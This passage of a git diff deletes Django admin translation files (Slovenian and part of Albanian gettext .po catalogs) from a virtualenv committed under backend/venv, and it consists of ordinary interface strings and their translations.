"" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 11:41-0300\n" -"PO-Revision-Date: 2023-12-04 07:05+0000\n" -"Last-Translator: Andrej Marsetič, 2022-2023\n" -"Language-Team: Slovenian (http://app.transifex.com/django/django/language/" -"sl/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sl\n" -"Plural-Forms: nplurals=4; plural=(n%100==1 ? 0 : n%100==2 ? 1 : n%100==3 || " -"n%100==4 ? 2 : 3);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Izbriši izbrano: %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Uspešno izbrisano %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Ni mogoče izbrisati %(name)s" - -msgid "Are you sure?" -msgstr "Ste prepričani?" - -msgid "Administration" -msgstr "Administracija" - -msgid "All" -msgstr "Vse" - -msgid "Yes" -msgstr "Da" - -msgid "No" -msgstr "Ne" - -msgid "Unknown" -msgstr "Neznano" - -msgid "Any date" -msgstr "Kadarkoli" - -msgid "Today" -msgstr "Danes" - -msgid "Past 7 days" -msgstr "Zadnjih 7 dni" - -msgid "This month" -msgstr "Ta mesec" - -msgid "This year" -msgstr "Letos" - -msgid "No date" -msgstr "Brez datuma" - -msgid "Has date" -msgstr "Z datumom" - -msgid "Empty" -msgstr "Prazno" - -msgid "Not empty" -msgstr "Ni prazno" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Vnesite veljavno %(username)s in geslo za račun osebja. Opomba: obe polji " -"upoštevata velikost črk." - -msgid "Action:" -msgstr "Dejanje:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Dodaj še en %(verbose_name)s" - -msgid "Remove" -msgstr "Odstrani" - -msgid "Addition" -msgstr "Dodatek" - -msgid "Change" -msgstr "Spremeni" - -msgid "Deletion" -msgstr "Izbris" - -msgid "action time" -msgstr "čas dejanja" - -msgid "user" -msgstr "uporabnik" - -msgid "content type" -msgstr "vrsta vsebine" - -msgid "object id" -msgstr "id objekta" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "predstavitev objekta" - -msgid "action flag" -msgstr "zastavica dejanja" - -msgid "change message" -msgstr "spremeni sporočilo" - -msgid "log entry" -msgstr "dnevniški vnos" - -msgid "log entries" -msgstr "dnevniški vnosi" - -#, python-format -msgid "Added “%(object)s”." -msgstr "" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Izbrisan “%(object)s.”" - -msgid "LogEntry Object" -msgstr "Dnevniški vnos" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Dodan {name} “{object}”." - -msgid "Added." -msgstr "Dodano." - -msgid "and" -msgstr "in" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Spremenjena polja {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Izbrisan {name} “{object}”." - -msgid "No fields changed." -msgstr "Nobeno polje ni bilo spremenjeno." - -msgid "None" -msgstr "Brez vrednosti" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" - -msgid "Select this object for an action - {}" -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "" - -msgid "You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Izbrati morate vnose, nad katerimi želite izvesti operacijo. Noben vnos ni " -"bil spremenjen." - -msgid "No action selected." -msgstr "Brez dejanja." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Dodaj %s" - -#, python-format -msgid "Change %s" -msgstr "Spremeni %s" - -#, python-format -msgid "View %s" -msgstr "Pogled %s" - -msgid "Database error" -msgstr "Napaka v podatkovni bazi" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s je bil uspešno spremenjen." -msgstr[1] "%(count)s %(name)s sta bila uspešno spremenjena." -msgstr[2] "%(count)s %(name)s so bili uspešno spremenjeni." -msgstr[3] "%(count)s %(name)s je bilo uspešno spremenjenih." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s izbran" -msgstr[1] "%(total_count)s izbrana" -msgstr[2] "Vsi %(total_count)s izbrani" -msgstr[3] "Vseh %(total_count)s izbranih" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 od %(cnt)s izbranih" - -#, python-format -msgid "Change history: %s" -msgstr "Zgodovina sprememb: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Brisanje %(class_name)s %(instance)s bi zahtevalo brisanje naslednjih " -"zaščitenih povezanih objektov: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django administrativni vmesnik" - -msgid "Django administration" -msgstr "Django administracija" - -msgid "Site administration" -msgstr "Administracija strani" - -msgid "Log in" -msgstr "Prijavite se" - -#, python-format -msgid "%(app)s administration" -msgstr "Administracija %(app)s" - -msgid "Page not found" -msgstr "Strani ni mogoče najti" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Opravičujemo se, a zahtevane strani ni mogoče najti." - -msgid "Home" -msgstr "Domov" - -msgid "Server error" -msgstr "Napaka na strežniku" - -msgid "Server error (500)" -msgstr "Napaka na strežniku (500)" - -msgid "Server Error (500)" -msgstr "Napaka na strežniku (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Prišlo je do nepričakovane napake. Napaka je bila preko e-pošte javljena " -"administratorjem spletne strani in naj bo bila v kratkem odpravljena. Hvala " -"za potrpljenje." - -msgid "Run the selected action" -msgstr "Izvedi izbrano dejanje" - -msgid "Go" -msgstr "Pojdi" - -msgid "Click here to select the objects across all pages" -msgstr "Kliknite tu za izbiro vseh vnosov na vseh straneh" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Izberi vse %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Počisti izbiro" - -msgid "Breadcrumbs" -msgstr "Navigacijska sled" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Model v %(name)s aplikaciji" - -msgid "Add" -msgstr "Dodaj" - -msgid "View" -msgstr "Pogled" - -msgid "You don’t have permission to view or edit anything." -msgstr "Nimate dovoljenja za ogled ali urejanje česarkoli." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Najprej vnesite uporabniško ime in geslo. Nato boste lahko urejali več " -"uporabniških možnosti." - -msgid "Enter a username and password." -msgstr "Vnesite uporabniško ime in geslo." - -msgid "Change password" -msgstr "Spremeni geslo" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Popravite spodnjo napako." -msgstr[1] "Prosim popravite spodnji napaki." -msgstr[2] "Prosim popravite spodnje napake." -msgstr[3] "Prosim popravite spodnje napake." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Vpišite novo geslo za uporabnika %(username)s." - -msgid "Skip to main content" -msgstr "Preskoči na glavno vsebino" - -msgid "Welcome," -msgstr "Dobrodošli," - -msgid "View site" -msgstr "Poglej stran" - -msgid "Documentation" -msgstr "Dokumentacija" - -msgid "Log out" -msgstr "Odjava" - -#, python-format -msgid "Add %(name)s" -msgstr "Dodaj %(name)s" - -msgid "History" -msgstr "Zgodovina" - -msgid "View on site" -msgstr "Poglej na strani" - -msgid "Filter" -msgstr "Filter" - -msgid "Hide counts" -msgstr "" - -msgid "Show counts" -msgstr "" - -msgid "Clear all filters" -msgstr "Počisti vse filtre" - -msgid "Remove from sorting" -msgstr "Odstrani iz razvrščanja" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prioriteta razvrščanja: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Preklopi razvrščanje" - -msgid "Toggle theme (current theme: auto)" -msgstr "Preklopi temo (trenutna tema: samodejno)" - -msgid "Toggle theme (current theme: light)" -msgstr "Preklopi temo (trenutna tema: svetla)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Preklop teme (trenutna tema: temna)" - -msgid "Delete" -msgstr "Izbriši" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Izbris %(object_name)s '%(escaped_object)s' bi pomenil izbris povezanih " -"objektov, vendar nimate dovoljenja za izbris naslednjih tipov objektov:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Brisanje %(object_name)s '%(escaped_object)s' bi zahtevalo brisanje " -"naslednjih zaščitenih povezanih objektov:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Ste prepričani, da želite izbrisati %(object_name)s \"%(escaped_object)s\"? " -"Vsi naslednji povezani elementi bodo izbrisani:" - -msgid "Objects" -msgstr "Objekti" - -msgid "Yes, I’m sure" -msgstr "Da, prepričan sem" - -msgid "No, take me back" -msgstr "Ne, vrni me nazaj" - -msgid "Delete multiple objects" -msgstr "Izbriši več objektov" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Brisanje naslendjih %(objects_name)s bi imelo za posledico izbris naslednjih " -"povezanih objektov, vendar vaš račun nima pravic za izbris naslednjih tipov " -"objektov:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Brisanje izbranih %(objects_name)s zahteva brisanje naslednjih zaščitenih " -"povezanih objektov:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Ali res želite izbrisati izbrane %(objects_name)s? Vsi naslednji objekti in " -"njihovi povezani vnosi bodo izbrisani:" - -msgid "Delete?" -msgstr "Izbrišem?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Po %(filter_title)s " - -msgid "Summary" -msgstr "Povzetek" - -msgid "Recent actions" -msgstr "Nedavna dejanja" - -msgid "My actions" -msgstr "Moja dejanja" - -msgid "None available" -msgstr "Ni na voljo" - -msgid "Added:" -msgstr "" - -msgid "Changed:" -msgstr "" - -msgid "Deleted:" -msgstr "" - -msgid "Unknown content" -msgstr "Neznana vsebina" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Prijavljeni ste kot %(username)s in nimate pravic za dostop do te strani. Bi " -"se želeli prijaviti z drugim računom?" - -msgid "Forgotten your password or username?" -msgstr "Ste pozabili geslo ali uporabniško ime?" - -msgid "Toggle navigation" -msgstr "Preklopi navigacijo" - -msgid "Sidebar" -msgstr "Stranska vrstica" - -msgid "Start typing to filter…" -msgstr "Za filtriranje začnite tipkati ..." - -msgid "Filter navigation items" -msgstr "Filtrirajte navigacijske elemente" - -msgid "Date/time" -msgstr "Datum/čas" - -msgid "User" -msgstr "Uporabnik" - -msgid "Action" -msgstr "Dejanje" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "Prikaži vse" - -msgid "Save" -msgstr "Shrani" - -msgid "Popup closing…" -msgstr "" - -msgid "Search" -msgstr "Išči" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s zadetkov" -msgstr[1] "%(counter)s zadetek" -msgstr[2] "%(counter)s zadetka" -msgstr[3] "%(counter)s zadetki" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s skupno" - -msgid "Save as new" -msgstr "Shrani kot novo" - -msgid "Save and add another" -msgstr "Shrani in dodaj še eno" - -msgid "Save and continue editing" -msgstr "Shrani in nadaljuj z urejanjem" - -msgid "Save and view" -msgstr "Shrani in poglej" - -msgid "Close" -msgstr "Zapri" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Spremeni izbran %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Dodaj še en %(model)s " - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Izbriši izbran %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "Poglej izbran %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Hvala, ker ste si danes vzeli nekaj časa za to spletno stran." - -msgid "Log in again" -msgstr "Ponovna prijava" - -msgid "Password change" -msgstr "Sprememba gesla" - -msgid "Your password was changed." -msgstr "Vaše geslo je bilo spremenjeno." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Zaradi varnosti vnesite svoje staro geslo in nato dvakrat vnesite novo " -"geslo, da bomo lahko preverili, ali ste ga pravilno vnesli." - -msgid "Change my password" -msgstr "Spremeni moje geslo" - -msgid "Password reset" -msgstr "Ponastavitev gesla" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Vaše geslo je bilo nastavljeno. Zdaj se lahko prijavite." - -msgid "Password reset confirmation" -msgstr "Potrdite ponastavitev gesla" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "Vnesite vaše novo geslo dvakrat, da se izognete tipkarskim napakam." - -msgid "New password:" -msgstr "Novo geslo:" - -msgid "Confirm password:" -msgstr "Potrditev gesla:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Povezava za ponastavitev gesla ni bila veljavna, morda je bila že " -"uporabljena. Prosimo zahtevajte novo ponastavitev gesla." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Po e-pošti smo vam poslali navodila za nastavitev gesla, če obstaja račun z " -"e-pošto, ki ste jo vnesli. Prejeti bi jih morali kmalu." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Če ne prejmete e-poštnega sporočila, preverite, ali ste vnesli naslov, s " -"katerim ste se registrirali, in preverite mapo z vsiljeno pošto." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"To e-pošto ste prejeli, ker je ste zahtevali ponastavitev gesla za vaš " -"uporabniški račun na %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Prosimo pojdite na sledečo stran in izberite novo geslo:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Vaše uporabniško ime, če ste ga pozabili:" - -msgid "Thanks for using our site!" -msgstr "Hvala, ker uporabljate našo stran!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Ekipa strani %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Ste pozabili geslo? Spodaj vnesite svoj e-poštni naslov in poslali vam bomo " -"navodila za nastavitev novega." - -msgid "Email address:" -msgstr "E-poštni naslov:" - -msgid "Reset my password" -msgstr "Ponastavi moje geslo" - -msgid "Select all objects on this page for an action" -msgstr "" - -msgid "All dates" -msgstr "Vsi datumi" - -#, python-format -msgid "Select %s" -msgstr "Izberite %s" - -#, python-format -msgid "Select %s to change" -msgstr "Izberite %s, ki ga želite spremeniti" - -#, python-format -msgid "Select %s to view" -msgstr "" - -msgid "Date:" -msgstr "Datum:" - -msgid "Time:" -msgstr "Ura:" - -msgid "Lookup" -msgstr "Poizvedba" - -msgid "Currently:" -msgstr "Trenutno:" - -msgid "Change:" -msgstr "Spremembe:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sl/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sl/LC_MESSAGES/djangojs.mo deleted file mode 100644 index f01b6b48..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sl/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sl/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sl/LC_MESSAGES/djangojs.po deleted file mode 100644 index 08a77f67..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sl/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,328 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Andrej Marsetič, 2022,2024 -# Jannis Leidel , 2011 -# zejn , 2016 -# zejn , 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 07:59+0000\n" -"Last-Translator: Andrej Marsetič, 2022,2024\n" -"Language-Team: Slovenian (http://app.transifex.com/django/django/language/" -"sl/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sl\n" -"Plural-Forms: nplurals=4; plural=(n%100==1 ? 0 : n%100==2 ? 1 : n%100==3 || " -"n%100==4 ? 2 : 3);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Možne %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"To je seznam možnih %s. Izbrane lahko izberete z izbiro v spodnjem okvirju " -"in s klikom na puščico \"Izberi\" med okvirjema." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Z vpisom niza v to polje, zožite izbor %s." - -msgid "Filter" -msgstr "Filtriraj" - -msgid "Choose all" -msgstr "Izberi vse" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Kliknite za izbor vseh %s hkrati." - -msgid "Choose" -msgstr "Izberi" - -msgid "Remove" -msgstr "Odstrani" - -#, javascript-format -msgid "Chosen %s" -msgstr "Izbran %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"To je seznam možnih %s. Odvečne lahko odstranite z izbiro v okvirju in " -"klikom na puščico \"Odstrani\" med okvirjema." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Vnesite v to polje, da filtrirate seznam izbranih %s ." - -msgid "Remove all" -msgstr "Odstrani vse" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Kliknite za odstranitev vseh %s hkrati." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] " %s izbrana možnosti ni vidna" -msgstr[1] " %s izbrani možnosti nista vidni" -msgstr[2] " %s izbrane možnosti niso vidne" -msgstr[3] " %s izbrane možnosti niso vidne" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s od %(cnt)s izbranih" -msgstr[1] "%(sel)s od %(cnt)s izbran" -msgstr[2] "%(sel)s od %(cnt)s izbrana" -msgstr[3] "%(sel)s od %(cnt)s izbrani" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Na nekaterih poljih, kjer je omogočeno urejanje, so neshranjene spremembe. V " -"primeru nadaljevanja bodo neshranjene spremembe trajno izgubljene." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Izbrali ste dejanje, vendar še niste shranili sprememb posameznih polj. Za " -"shranjevanje kliknite V redu. Akcijo boste morali ponovno zagnati." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Izbrali ste dejanje in niste spremenili posameznih polj. Verjetno iščete " -"gumb Pojdi in ne gumb Shrani." - -msgid "Now" -msgstr "Takoj" - -msgid "Midnight" -msgstr "Polnoč" - -msgid "6 a.m." -msgstr "Ob 6h" - -msgid "Noon" -msgstr "Opoldne" - -msgid "6 p.m." -msgstr "Ob 18h" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Opomba: glede na čas na strežniku ste %s uro naprej." -msgstr[1] "Opomba: glede na čas na strežniku ste %s uri naprej." -msgstr[2] "Opomba: glede na čas na strežniku ste %s ure naprej." -msgstr[3] "Opomba: glede na čas na strežniku ste %s ur naprej." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Opomba: glede na čas na strežniku ste %s uro zadaj." -msgstr[1] "Opomba: glede na čas na strežniku ste %s uri zadaj." -msgstr[2] "Opomba: glede na čas na strežniku ste %s ure zadaj." -msgstr[3] "Opomba: glede na čas na strežniku ste %s ur zadaj." - -msgid "Choose a Time" -msgstr "Izberite čas" - -msgid "Choose a time" -msgstr "Izbor časa" - -msgid "Cancel" -msgstr "Prekliči" - -msgid "Today" -msgstr "Danes" - -msgid "Choose a Date" -msgstr "Izberite datum" - -msgid "Yesterday" -msgstr "Včeraj" - -msgid "Tomorrow" -msgstr "Jutri" - -msgid "January" -msgstr "januar" - -msgid "February" -msgstr "februar" - -msgid "March" -msgstr "marec" - -msgid "April" -msgstr "april" - -msgid "May" -msgstr "maj" - -msgid "June" -msgstr "junij" - -msgid "July" -msgstr "julij" - -msgid "August" -msgstr "avgust" - -msgid "September" -msgstr "september" - -msgid "October" -msgstr "oktober" - -msgid "November" -msgstr "november" - -msgid "December" -msgstr "december" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Maj" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Aug" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Okt" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Dec" - -msgid "Sunday" -msgstr "Nedelja" - -msgid "Monday" -msgstr "Ponedeljek" - -msgid "Tuesday" -msgstr "Torek" - -msgid "Wednesday" -msgstr "Sreda" - -msgid "Thursday" -msgstr "Četrtek" - -msgid "Friday" -msgstr "Petek" - -msgid "Saturday" -msgstr "Sobota" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Ned" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Pon" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Tor" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Sre" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Čet" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Pet" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Sob" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "N" - -msgctxt "one letter Monday" -msgid "M" -msgstr "P" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "T" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "S" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Č" - -msgctxt "one letter Friday" -msgid "F" -msgstr "P" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sq/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sq/LC_MESSAGES/django.mo deleted file mode 100644 index 63dadc2d..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sq/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sq/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sq/LC_MESSAGES/django.po deleted file mode 100644 index e52e9e70..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sq/LC_MESSAGES/django.po +++ /dev/null @@ -1,792 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Besnik Bleta , 2011,2015 -# Besnik Bleta , 2020,2022-2025 -# Besnik Bleta , 2015,2018-2019 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Besnik Bleta , 2020,2022-2025\n" -"Language-Team: Albanian (http://app.transifex.com/django/django/language/" -"sq/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sq\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Fshiji %(verbose_name_plural)s e përzgjedhur" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "U fshinë me sukses %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "S’mund të fshijë %(name)s" - -msgid "Delete multiple objects" -msgstr "Fshini disa objekte njëherësh" - -msgid "Administration" -msgstr "Administrim" - -msgid "All" -msgstr "Krejt" - -msgid "Yes" -msgstr "Po" - -msgid "No" -msgstr "Jo" - -msgid "Unknown" -msgstr "E panjohur" - -msgid "Any date" -msgstr "Çfarëdo date" - -msgid "Today" -msgstr "Sot" - -msgid "Past 7 days" -msgstr "7 ditët e shkuara" - -msgid "This month" -msgstr "Këtë muaj" - -msgid "This year" -msgstr "Këtë vit" - -msgid "No date" -msgstr "Pa datë" - -msgid "Has date" -msgstr "Ka datë" - -msgid "Empty" -msgstr "E zbrazët" - -msgid "Not empty" -msgstr "Jo e zbrazët" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Ju lutemi, jepni %(username)s dhe fjalëkalimin e saktë për një llogari " -"ekipi. Kini parasysh se që të dy fushat mund të jenë të ndjeshme ndaj " -"shkrimit me shkronja të mëdha ose të vogla." - -msgid "Action:" -msgstr "Veprim:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Shtoni një tjetër %(verbose_name)s" - -msgid "Remove" -msgstr "Hiqe" - -msgid "Addition" -msgstr "Shtim" - -msgid "Change" -msgstr "Ndryshoje" - -msgid "Deletion" -msgstr "Fshirje" - -msgid "action time" -msgstr "kohë veprimi" - -msgid "user" -msgstr "përdorues" - -msgid "content type" -msgstr "lloj lënde" - -msgid "object id" -msgstr "id objekti" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "paraqitje objekti" - -msgid "action flag" -msgstr "shenjë veprimi" - -msgid "change message" -msgstr "mesazh ndryshimi" - -msgid "log entry" -msgstr "zë regjistri" - -msgid "log entries" -msgstr "zëra regjistri" - -#, python-format -msgid "Added “%(object)s”." -msgstr "U shtua “%(object)s”." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "U ndryshua “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "U fshi “%(object)s.”" - -msgid "LogEntry Object" -msgstr "Objekt LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "U shtua {name} “{object}”." - -msgid "Added." -msgstr "U shtua." - -msgid "and" -msgstr "dhe " - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "U ndryshuan {fields} për {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "U ndryshuan {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "U fshi {name} “{object}”." - -msgid "No fields changed." -msgstr "S’u ndryshua ndonjë fushë." - -msgid "None" -msgstr 